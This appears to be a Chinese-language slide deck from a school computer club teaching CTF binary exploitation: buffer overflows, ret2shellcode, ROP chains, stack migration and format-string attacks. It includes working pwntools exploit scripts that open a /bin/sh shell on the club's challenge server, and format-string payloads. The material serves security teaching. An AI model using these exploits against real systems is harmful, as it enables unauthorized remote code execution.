---
# System prepended metadata

title: 實中資研社社課 pwn 從入門到進階
tags: [社課簡報]

---

---
title: 實中資研社社課 pwn 從入門到進階
type: slide
.slide: data-transition-speed="slow"
tags:
- 社課簡報
---
# 實中資研社社課 
# pwn 從入門到進階
~~pwn從入門到入獄~~

---

### 廣告時間


----

### 國雲網路
我們很多機器都是透過他們的vps架設的
![image](https://ncse.tw/assets/img/logo.png)  

----

### 七維思資安  
社團dc裡面那位熱心的飛飛老師的資安教育公司  
![image](https://image-cdn-flare.qdm.cloud/q6e57c8785320c/image/data/2024/01/18/c29a7baf9e8a9b2f3b24223107db9e48.png)

---

### 免責聲明
:::info
社團活動當中所學習的工具、弱點、攻擊手法等僅供資安知識的學習，若在課程後想做相關練習，請在合法的CTF平台上進行測試，如對外有相關攻擊行為，皆與本人與實驗中學資訊研究社無關
:::
不要去犯法喔><

---

### what is pwn?

----

#### wikipedia
![image](https://hackmd.io/_uploads/r1DEWvK1C.png)

----

but...
現在比較多是指執行檔漏洞利用

然後基本的逆向工程要會

---

### netcat

----

netcat(在linux裡面簡稱nc)可以快速建立快速的tcp/udp的連線
而在pwn的題目多數也是netcat

----

### Example

```bash
nc 23.146.248.20 10001
```

---

### 逆向工程的小複習 ><

---

### 執行檔架構

----

全域/執行的東西

- Text：程式碼的部分。可讀，不可寫，可執行(r-x)

- Data：已初始化的全域變數(for exam, 字串，數字等等的)

- BSS：未初始化的全域變數

----

會一直變的東西

- Heap：由低位往高位疊的動態記憶體空間

- Stack：存放暫時資料(return adress、 區域變數、 參數、 回傳值)，由高位往低位拉長，最低位(長到底的地方)會有rbp。

---

### 執行檔保護機制

----

checksec
```bash
checksec --file=./file_name
```

----

![image](https://hackmd.io/_uploads/BJdAwwF1R.png)

----

Arch
執行檔環境架構
常見的有 i386, amd64-64-little

----

RELRO

No RELRO - Link Map、GOT 可寫
Partial RELRO - Link Map 不可寫、GOT 可寫
Full RELRO - Link Map、GOT 皆不可寫
在初階課程裡面這個幾乎用不到
只要不是開了 `Full RELRO`通常問題都不大

----

Stack Canary
如果輸入太多東西到stack上面會改掉裡面的值
canary就是蓋在當下stack最上面的保護
只要值有變就不會return去下一個地址
內建函式：`__stack_chk_fail`

----

PIE
會把所有東西的地址隨機化
方法就是把所有地址都加上一個 `random value`

----

NX
可以寫的東西不能執行，不能寫得可以執行

----

gdb的vmmap可以看bss段資料權限
![image](https://hackmd.io/_uploads/HJz6UOYkA.png)
read/excute/write

---

### nano
- 你寫腳本的好幫手

----

其實我自己在kali上面有安裝 oss code，超方便
但是怕你們討厭裝東裝西就用nano

----

### 一分鐘教學

----

`nano example.py`
![image](https://hackmd.io/_uploads/r1q5fqtkC.png)

----

`ctrl +x`
然後按下Y, enter
就可以存檔了!!!

---

### pwntools

----

### 簡介

----

在打web的時候
可以用python的`requests`套件很方便的寫腳本

在pwn的時候也一樣
如果可以寫腳本取代我們去做重複的動作/鍵盤無法輸入的byte會方便很多


----

### 引入pwntools
```python
from pwn import *
```

----


### 連線
```python
r=remote(ip, port) #遠端連線某個port, ip
r=process(path) # 本地執行某個path的執行檔
```

----

### 輸入

  - 讀到某個字串結束`r.recvuntil(b'data')`  
  - 讀到某個大小結束`r.recv(字節大小)`  
  - 讀取一行`r.recvline()`
  - 讀取多行`r.recvlines(n)`，n是行數

----

### 輸出

- 送出並換行`r.sendline('string')`  
- 送出不換行`r.send('string')`  
- 變成32, 64位元資料(用在整數)`p32(int), p64(int)`  

----

# `WARNING`

pwntools所有東西都要是bytes
所以：
- 'whale' -> b'whale'
- str=str.encode()

----

### 小試身手
![image](https://hackmd.io/_uploads/Bk_gUFtyR.png)

----

### Example

```py
from pwn import *
r=remote('23.146.248.20',10001)
s=r.recvline()
print(s)
s=r.recvline()
print(s)
for i in range(500):
    s=r.recvline()[:-3]
    print(s)
    r.sendline(str(eval(s)))
r.interactive()
```

---

### Buffer Overflow
- basic

----

buffer overflow是出現在stack上面的漏洞

----

利用條件：
- 沒有 STACK CANARY 或者值被洩漏

----

**危險的輸入函數**
```c
gets()//不限長度
read()//會有長度限制但不見得是那個變數的長度
......
```
因為他們都可以被輸入超過資料應有長度的內容

----

|data 1|
|---|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|

----

|data 1|
|---|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|

`char c[3];` //放在data3~data5

----

but...
|data 1|
|---|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|
```c
gets(c);
```

----

輸入 `'abc'`
|data 1|
|---|
|data 2|
|`c`|
|`b`|
|`a`|
|...|
|data N|

----

輸入 `'abcde'`
|`e`|
|---|
|`d`|
|`c`|
|`b`|
|`a`|
|...|
|data N|

----

漏洞成因
- 如果是gets函數這種只管輸入不管大小的，那就是直接填入

- 如果是read這種會限制大小的，那就是它的大小-真實變數大小=你能填入的東西大小

----

#### 小試身手
![image](https://hackmd.io/_uploads/r1MXgcKkC.png)

---

### Buffer Overflow
- ret2code

----

利用條件：
- 沒有 STACK CANARY 或者值被洩漏
- 沒有 PIE 或者值被洩漏


----

一樣是buffer overflow，不過每個stack最後面的值都是return address(就是跑完這邊它要去哪個地址)

然後就把它蓋掉就好

----

Stack 完整結構

|ret address|
|---|
|rdp value|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|

----

所以蓋值的時候要注意把rbp value也蓋掉

----

#### 小試身手
![image](https://hackmd.io/_uploads/r1dNfqKyC.png)

---


### Buffer Overflow
- ret2shellcode

----

利用條件：
- 沒有 STACK CANARY 或者值被洩漏
- 沒有 PIE 或者值被洩漏
- 沒有 NX

----

把shellcode寫入到某個地址
用剛剛ret2code的邏輯ret去那個地址讓它跑

----

shellcode?!

----

pwntools的ASM函數可以自己寫，但礙於我沒教...

(想學得自己去學)
~~絕對不是因為講師也不太會寫組語~~

----


`exploit db`

統整了各種漏洞payload的寶庫

----

打開它
![image](https://hackmd.io/_uploads/HkgSnm9Y1R.png)  

----

選擇shellcode
![image](https://hackmd.io/_uploads/rknp79F10.png)

----

選擇我們的arch
![image](https://hackmd.io/_uploads/BkUfVqFJ0.png)

----

找到可以跑 `/bin/sh` 的

![image](https://hackmd.io/_uploads/SkF44ctJ0.png)

----

這個就是我們的RCE shellcode
![image](https://hackmd.io/_uploads/S1CD45KkR.png)

---


### Buffer Overflow
- ret2libc

----

利用條件：已知對方使用的libc
然後我不打算帶owo

----

方法跟ret2code一模一樣

詳細可以去看我以前的筆記：

https://wha13.github.io/2023/10/12/pwn-note/#BOF-Ret2Lib

---

### ROP

----

利用條件：
- 沒有 STACK CANARY 或者值被洩漏
- 沒有 PIE 或者值被洩漏

----

回想一下 ret2code

如果把很多 ret 串在一起，就可以一直執行我們想要的東西

(只要我們知道它的地址)

----

### syscall table
https://syscalls.w3challs.com/

----

因為有很多種可能，所以其他函數/方法怎麼叫

要自己逆看看 / google 看看

這邊以`execve('/bin/sh')`舉例

----

目的：RCE
怎麼呼叫我們要的`/bin/sh`

----

查看syscall table後發現
```
rax=>0x3b
rdi=>要執行的指令地址(這邊是/bin/sh)
rsi=>argv位置
rdx=>envp位置
```
以現階段來看後兩者可以直接填入0，直接叫 `/bin/sh` 就好

----

最基本的 syscall RCE chain

pop掉之後第一個塞上去的就會變成本來pop掉的東西

----

(stack上面的視角)
```
pop rax;
0x3b;
pop rdi;
command_addr;
pop rsi;
0;
pop rdx;
0;
syscall;
```
然後就可以RCE 啦啦啦

----

實戰演練
![image](https://hackmd.io/_uploads/SkdIRP0yC.png)


----

怎麼找自己想要的 gadget?
~~Trivago~~

----


- ROPGadget
- pwntools

----

ROPGadget
```bash
ROPgadget --binary ./rop0 | grep 'pop rax .*'
```
![image](https://hackmd.io/_uploads/r1mYRwAkC.png)  

----

pwntools
```py
from pwn import *
rop=ROP('rop0')
print(rop.rdi)
```
![image](https://hackmd.io/_uploads/Hkxp0v0JR.png =50%x)

----

寫腳本小叮嚀
可以使用  
```py
context.arch='amd64' #可以抽換成i386之類的
```
去定義現在的arch後
用flat函數合併好幾個 gadgets
```py
flat(a, b, c, d, e)
```

----

Exploit

```py
from pwn import *
r=remote('23.146.248.20', 10009)
#r=process('rop0')
rop=ROP('rop0')
context.arch='amd64'

# datas
padding=0x70+8
shellcode=0x004c3300
'''
>>> rop.rax
Gadget(0x4516a7, ['pop rax', 'ret'], ['rax'], 0x8)
>>> rop.rdi
Gadget(0x4018c2, ['pop rdi', 'ret'], ['rdi'], 0x8)
>>> rop.rsi
Gadget(0x40f21e, ['pop rsi', 'ret'], ['rsi'], 0x8)
>>> rop.rdx
Gadget(0x4017cf, ['pop rdx', 'ret'], ['rdx'], 0x8)
'''
# exploit
r.sendline(b'/bin/bash\x00whale&shark')
exploit=padding*b'a'+flat(rop.rax[0], 0x3b, rop.rdi[0], shellcode, rop.rsi[0], 0, rop.rdx[0], 0, rop.syscall[0])
print(exploit, len(exploit))
r.sendline(exploit)
r.interactive()
```

----

小技巧

----

32進和64進差別
64=>syscall
32=>int80

----

遇到不知道怎麼串的函數
1.看本來執行檔怎麼跑的
2.GOOGLE


----

塞`/bin/sh`的時候
要用`/bin/sh\x00`
C語言讀到`\x00`會打住

----

沒有全域變數?

自己往bss段串`get()`之類的東西或者洩漏stack地址
塞shell

gdb-vmmap
![image](https://hackmd.io/_uploads/Syr3yF0yA.png)

----

有些函數有奇奇怪怪的對齊

像是`system`函數被呼叫時地址為16bytes倍數

所以串法會變成

```
pop rdi, addr, ret, system
```

其中那個`ret`可以隨便抓，通常我會拿 `pop_rdi`+1

\*反正就是一個空 return

----

Homework
![image](https://hackmd.io/_uploads/HkxAc8mg0.png)


---

Stack Migration

----

有時候可以填入的byte不夠

不過如果可以在某個地方先寫好 ROP CHAIN那就可以把stack搬過去那個地方

這就叫Stack Migration

----

`leave`
一個asm的指令，也是 stack migration的重點
```
mov rsp, rbp
pop rbp
```
會使你在下一步也可以控制RSP

(stack的地址是由rsp跟rbp一頭一尾控制的)

----

唯一需要注意的是

在那裏寫ROP CHAIN的時候前面要先塞8個bytes
(amd64)

因為你要改寫掉一個rsp address

----

總的來說，攻擊鍊就變成：

把rbp變成你寫好ROP CHAIN的address

接著再`leave`

----

實戰演練
![image](https://hackmd.io/_uploads/Hk69loAkR.png)

----

```py
r=process('./rop1')
r=remote('23.146.248.20', 10010)
rop=ROP('./rop1')
context.arch='amd64'

# datas

'''
自己找
'''

# exploit

payload1=flat(1004120, pop_rax, 0x3b, pop_rdi, shellcode, pop_rsi, 0, pop_rdx, 0, syscall, b'/bin/sh\x00') # rop chain
print(payload1, len(payload1))
r.sendline(payload1)
r.sendline(b'rahwhale'*2+flat(shell, leave))
r.interactive()
```

---

Format String Attack

----

漏洞成因

使用printf函數直接輸出使用者提供字串

----

what is format string?
```c
printf("%d:%d", 1, 2);
//1:2
```

----

讀值(hex)
%{n}$p
n代表它在stack上面是第幾個項目
前五個會是寄存器值，所以要從第六個開始戳

----

順序就是它在你當下stack上面的順去
如果無法通靈可以使用gdb的stack指令來看

----

小技巧：
什麼都不知道就一直打 %p就可以順著洩漏資料
```cpp
%p%p%p%p%p%p%p%p%p%p
```

----

實戰演練
![image](https://hackmd.io/_uploads/Sye0HcA1A.png)


----

寫值
%{amount}c%{number}$hhn
hhn是一個byte

---

`rand()`

----

其實只有一件事

`srand`會規範種子，如果連這個都沒有那每次rand結果固定

如果是time的話那可以在本地寫一個一模一樣的用 && 同時執行自己的腳本跟連線去對答案
(可能會需要+1秒之類的)

---

Stack 改值

----

有機會改掉某個array任意編號元素時就等於可以改掉整個stack上面的東西

